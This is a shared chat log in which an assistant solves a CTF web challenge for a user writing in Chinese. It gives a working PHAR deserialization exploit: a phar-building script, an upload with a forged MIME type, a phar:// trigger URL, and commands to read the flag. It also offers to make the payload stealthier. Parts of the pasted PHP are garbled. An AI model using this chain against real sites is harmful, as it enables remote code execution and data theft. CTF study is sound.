我现在在做一道ctf-web题目,现在有三个页面源码,你能帮我分析出怎么得到flag吗? 第一个是i...

생성일: 2025년 11월 1일

답변에 사용된 모델 GPT-5 Thinking by Chat01

질문

我现在在做一道ctf-web题目,现在有三个页面源码,你能帮我分析出怎么得到flag吗?
第一个是index.php

<?php ini_set('display_errors', '0'); $filename = isset($_GET['filename']) ? $_GET['filename'] : null; $content = null; $error = null; if (isset($filename) && $filename !== '') { $balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"]; foreach ($balcklist as $v) { if (strpos($filename, $v) !== false) { $error = "no no no"; break; } } if ($error === null) { if (isset($_GET['serialized'])) { require 'function.php'; $file_contents= file_get_contents($filename); if ($file_contents === false) { $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename); } else { $content = $file_contents; } } else { $file_contents = file_get_contents($filename); if ($file_contents === false) { $error = "Failed to read file or file does not exist: " . htmlspecialchars($filename); } else { $content = $file_contents; } } } } else { $error = null; } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>File Reader</title> <style> :root{ --card-bg: #ffffff; --page-bg: linear-gradient(135deg,#f0f7ff 0%,#fbfbfb 100%); --accent: #1e88e5; --muted: #6b7280; --success: #16a34a; --danger: #dc2626; --card-radius: 12px; --card-pad: 20px; } html,body{height:100%;margin:0;font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;} body{ background: var(--page-bg); display:flex; align-items:center; justify-content:center; padding:24px; } .card{ width:100%; max-width:820px; background:var(--card-bg); border-radius:var(--card-radius); box-shadow: 0 10px 30px rgba(16,24,40,0.08); padding:var(--card-pad); } h1{margin:0 0 6px 0;font-size:18px;color:#0f172a;} p.lead{margin:0 0 18px 0;color:var(--muted);font-size:13px} form.controls{display:flex;gap:10px;flex-wrap:wrap;align-items:center;margin-bottom:14px} input[type="text"]{ flex:1; padding:10px 12px; border:1px solid #e6e9ef; border-radius:8px; font-size:14px; outline:none; transition:box-shadow .12s ease,border-color .12s ease; } input[type="text"]:focus{box-shadow:0 0 0 4px rgba(30,136,229,0.08);border-color:var(--accent)} button.btn{ padding:10px 16px; background:var(--accent); color:white; border:none; border-radius:8px; cursor:pointer; font-weight:600; } button.btn.secondary{ background:#f3f4f6;color:#0f172a;font-weight:600;border:1px solid #e6e9ef; } .hint{font-size:12px;color:var(--muted);margin-top:6px} .result{ margin-top:14px; border-radius:8px; overflow:hidden; border:1px solid #e6e9ef; } .result .meta{ padding:10px 12px; display:flex; justify-content:space-between; align-items:center; background:#fbfdff; font-size:13px; color:#111827; } .result .body{ padding:12px; background:#0b1220; color:#e6eef8; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace; font-size:13px; line-height:1.5; max-height:520px; overflow:auto; white-space:pre-wrap; word-break:break-word; } .alert{padding:10px 12px;border-radius:8px;font-weight:600;margin-top:12px;} .alert.warn{background:#fff7ed;color:#92400e;border:1px solid #ffedd5} .alert.error{background:#fff1f2;color:#9f1239;border:1px solid #fecaca} .alert.info{background:#ecfeff;color:#064e3b;border:1px solid #bbf7d0} .footer{margin-top:12px;font-size:12px;color:var(--muted)} @media (max-width:640px){ .card{padding:16px} .result .meta{font-size:12px} } </style> </head> <body> <div class="card"> <h1>📄 File Reader</h1> <p class="lead">在下面输入要读取的文件</p>
text
<form class="controls" method="get" action=""> <input type="text" name="filename" value="<?php echo isset($_GET['filename']) ? htmlspecialchars($_GET['filename'], ENT_QUOTES) : ''; ?>" /> <button type="submit" class="btn">读取文件</button> <a class="btn secondary" href="">重置</a> </form> <?php if ($error !== null && $error !== ''): ?> <div class="alert error" role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div> <?php endif; ?> <!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \ > /usr/local/etc/php/conf.d/zz-open_basedir.ini--> <?php if ($content !== null): ?> <div class="result" aria-live="polite"> <div class="meta"> <div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div> <div style="font-size:12px;color:var(--muted)"><?php echo strlen($content); ?> bytes</div> </div> <div class="body"><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div> </div> <?php elseif ($error === null && isset($_GET['filename'])): ?> <div class="alert warn">未能读取内容或文件为空。</div> <?php endif; ?>
</div> </body> </html> 第二个是/var/www/html/uploads.php <?php $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } $whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz']; $allowedMimes = [ 'txt' => ['text/plain'], 'log' => ['text/plain'], 'jpg' => ['image/jpeg'], 'jpeg' => ['image/jpeg'], 'png' => ['image/png'], 'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'], 'gif' => ['image/gif'], 'gz' => ['application/gzip', 'application/x-gzip'] ];

$resultMessage = '';

if (_SERVER['REQUEST_METHOD'] === 'POST' && isset(_FILES['file'])) {
file=file = _FILES['file'];

text
if ($file['error'] === UPLOAD_ERR_OK) { $originalName = $file['name']; $ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION)); if (!in_array($ext, $whitelist, true)) { die('File extension not allowed.'); } $mime = $file['type']; if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) { die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime)); } $safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName)); $safeBaseName = ltrim($safeBaseName, '.'); $targetFilename = time() . '_' . $safeBaseName; file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n"); $targetPath = $uploadDir . $targetFilename; if (move_uploaded_file($file['tmp_name'], $targetPath)) { @chmod($targetPath, 0644); $resultMessage = '<div class="success"> File uploaded successfully '. '</div>'; } else { $resultMessage = '<div class="error"> Failed to move uploaded file.</div>'; } } else { $resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>'; }

}
?>
第三个是function.php

<?php class A { public $file; public $luo; public function __construct() { } public function __toString() { $function = $this->luo; return $function(); } } class B { public $a; public $test; public function __construct() { } public function __wakeup() { echo($this->test); } public function __invoke() { $this->a->rce_me(); } } class C { public $b; public function __construct($b = null) { $this->b = $b; } public function rce_me() { echo "Success!\n"; system("cat /flag/flag.txt > /tmp/flag"); } }

사고

Analyzing CTF Challenge Code

Okay, we have to exploit a CTF web challenge by reviewing the provided code. On index.php, it uses file_get_contents to read a file via the filename parameter. It seems like the serialized flag doesn't trigger deserialization directly, but maybe there's a vulnerability with path traversal or local file inclusion (LFI). We’ll need to bypass a blacklist and access sensitive files like /var/www/html/uploads/ or /flag.

Exploiting open_basedir and RCE

Okay, we’re dealing with open_basedir restrictions: file_get_contents is limited, but the system function isn't affected. function.php has a rce_me method in class C, which runs system("cat /flag/flag.txt > /tmp/flag"). If we can trigger this, we might get the flag written to /tmp/flag, where open_basedir allows access. The trick is finding how to trigger rce_me, potentially via unserialized object injection.

Exploring File Upload and Object Injection

It looks like the echo htmlspecialchars($content) wouldn't trigger unserialization unless there's a path that leads to the object being unserialized, which doesn't seem to be present. I was thinking about using the file upload functionality to trigger an issue. If I can upload a .txt or .log file, I could later try accessing its contents. Also, the phar:// stream isn't blacklisted, which gives me an idea for possible PHP object injection via file_get_contents. The open_basedir restriction, though, limits access to /tmp and /var/www/html/.

Exploring PHAR Upload Vulnerability

We could upload a zip or gif file with phar metadata containing a serialized object that triggers when accessed through a file operation. If we supply a phar:// path through the upload and it’s not blacklisted, we might trigger deserialization. Interestingly, phar files don’t require phar.readonly = Off for reading, only creation. The server seems to support using the phar stream wrapper.

Exploring PHAR Upload and Deserialization

In theory, we could upload a disguised phar archive as an image or zip file, bypassing the MIME type restrictions. This phar archive could contain serialization and trigger deserialization. By leveraging methods like __toString and __invoke, we might chain functionalities to invoke remote code execution. We need to create a crafted object graph that will trigger when the archive is processed, possibly via function.php's class definitions.

Building PHAR Exploit Chain

To exploit the PHAR deserialization, I need to craft classes A, B, and C and serialize them into the PHAR file. After uploading it as a disguised image file (like poc.jpg), I’ll trigger the process via the index.php script. This will nicely execute the crafted object graph through the __wakeup method, leading to remote code execution.

Exploit Workflow Summary

The exploit involves creating a PHAR file containing a malicious object graph, uploading it, and triggering deserialization via index.php to execute a chained PHP function. After executing, the flag is dumped to /tmp/flag, and the attacker reads it by accessing this flag through index.php. The method ensures classes are loaded by using the serialized=1 parameter and bypassing blacklists.

Thought for 1m 8s

답변

可以!这题的核心是phar 反序列化链 + 文件读取器
思路:把一个带有恶意元数据(metadata)的 phar 文件 伪装成允许的后缀(jpg/zip/gz…)上传到 /var/www/html/uploads/,然后用 index.php 去读 phar:// 路径。因为你加了 ?serialized=1index.phprequire 'function.php',从而加载类 A/B/C。PHP 在读取 phar:// 时会反序列化 phar 的 metadata,并自动触发对象的 __wakeup(),进而串出命令执行写出 flag 到 /tmp/flag,最后再直接读这个文件即可。


漏洞链分析(为什么可行)

index.php(关键点)

  • 读文件:file_get_contents($filename)
  • 黑名单里 没有phar://(只拦了 php://filterdata:// 等)。
  • 当带 serialized 参数时,会 require 'function.php',这一步很关键:让类 A/B/C 可用,这样 phar 反序列化的魔术方法才会被真正调用。

function.php(gadget 链)

  • class B::__wakeup(){ echo($this->test); }
  • echo 一个对象会触发该对象的 __toString()
  • class A::__toString(){ $function = $this->luo; return $function(); } —— 也就是把 $this->luo 当成“可调用”来调用。
  • class B::__invoke(){ $this->a->rce_me(); } —— 被当函数调用时,去调 $this->a->rce_me()
  • class C::rce_me(){ system("cat /flag/flag.txt > /tmp/flag"); } —— 把真正的 flag 绕过 open_basedir(系统命令不受其限制)写进 /tmp/flagopen_basedir 允许 /tmp

把这些串起来的 payload 结构是:

text
B (触发 __wakeup) └─ test = A (echo(object) → 触发 A::__toString) └─ luo = B2 (当作函数调用 → 触发 B2::__invoke) └─ a = C (B2 调 C::rce_me → system("cat /flag/... > /tmp/flag"))

uploads.php(拿到落盘路径)

  • 允许后缀:txt/log/jpg/jpeg/png/zip/gif/gz
  • MIME 只用客户端提供的 $_FILES['file']['type'] 来比对,可控
  • 保存文件名:time().'_'.安全化原名,并把最终文件名写入 /tmp/log.txt(我们可以读它来获取真实文件名)。

open_basedir

  • 注释中明确:open_basedir=/var/www/html:/tmp
  • 这意味着我们不能直接读 /flag/flag.txt,但能读 /tmp/flag;而 C::rce_me() 用了 system("cat /flag/flag.txt > /tmp/flag"),刚好符合。

实操步骤(一步步拿到 flag)

1)本地生成带恶意 metadata 的 phar(伪装成 jpg 或 zip 都行)

生成 phar 时需要 phar.readonly=0(只在你本地生成用到;目标站点读取不需要)

保存为 build.php 并执行(会生成 evil.jpg):

php
<?php ini_set('phar.readonly', 0); /* 复制题目里的类定义,或简化成同名同属性/方法的骨架即可 */ class A { public $file; public $luo; function __toString(){ $f = $this->luo; return $f(); } } class B { public $a; public $test; function __wakeup(){ echo($this->test); } function __invoke(){ $this->a->rce_me(); } } class C { public $b; function rce_me(){ /* 本地无需真执行 */ } } @unlink('evil.phar'); $phar = new Phar('evil.phar'); $phar->startBuffering(); /* 放个占位文件,等会儿用 phar:///path/to/file/这里 的形式读取 */ $phar->addFromString('a', 'a'); /* 构造链:B(wakeup) → echo A → A::__toString 调用 B2() → B2::__invoke → C::rce_me */ $c = new C(); $b2 = new B(); $b2->a = $c; $a = new A(); $a->luo = $b2; $b1 = new B(); $b1->test= $a; $phar->setMetadata($b1); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->stopBuffering(); /* 伪装成允许的扩展(jpg/zip/gz等) */ rename('evil.phar', 'evil.jpg'); echo "built evil.jpg\n";

命令行执行:

php build.php

2)上传伪装文件

用浏览器或 curl,直接把 Content-Type 伪造成允许的 MIME(例如 image/jpeg):

curl -F "[email protected];type=image/jpeg" http://目标站/uploads.php

3)拿到真实保存的文件名

上传脚本会把最终文件名写入 /tmp/log.txt。直接读它:

curl "http://目标站/index.php?filename=/tmp/log.txt"

会看到类似:

upload file success: 1730469007_evil.jpg, MIME: image/jpeg

记下这个文件名:1730469007_evil.jpg

4)触发 phar 反序列化链

必须带上 serialized=1,这样 index.phprequire 'function.php',类 A/B/C 就加载了。
phar:///var/www/html/uploads/上传后的文件名/内部文件名 的形式读(内部文件名就是我们在 phar 里 addFromString 的那个,比如 a):

curl "http://目标站/index.php?serialized=1&filename=phar:///var/www/html/uploads/1730469007_evil.jpg/a"

此时会在后台执行整个链,C::rce_me()/flag/flag.txt 重定向保存到 /tmp/flag

备注:黑名单没有拦 phar://,也没有拦冒号或 ://,所以这条路径是可用的;并且 open_basedir 允许访问 /var/www/html/tmp,因此 phar 文件与最终产物 /tmp/flag 都能被 PHP 读到。

5)读取 flag

现在直接读 /tmp/flag 即可:

curl "http://目标站/index.php?filename=/tmp/flag"

输出内容就是 flag 🎉


小结(一道题串三个点)

  1. 上传点可控 MIME + 放行的扩展 → 可上传伪装的 phar。
  2. 读取点黑名单疏漏 → 允许 phar://,且带 serialized=1 会加载 gadget 类。
  3. phar metadata 反序列化触发 B::__wakeup → echo A → A::__toString → B::__invoke → C::rce_me,系统命令把 flag 落到 /tmp/flag,再读出来。

如果你需要,我可以把 可直接用的构造脚本全套 curl 命令按你的目标站域名拼好,或者帮你把 phar 做成 zip/gz 壳(有时更隐蔽)。

이 Q&A 공유하기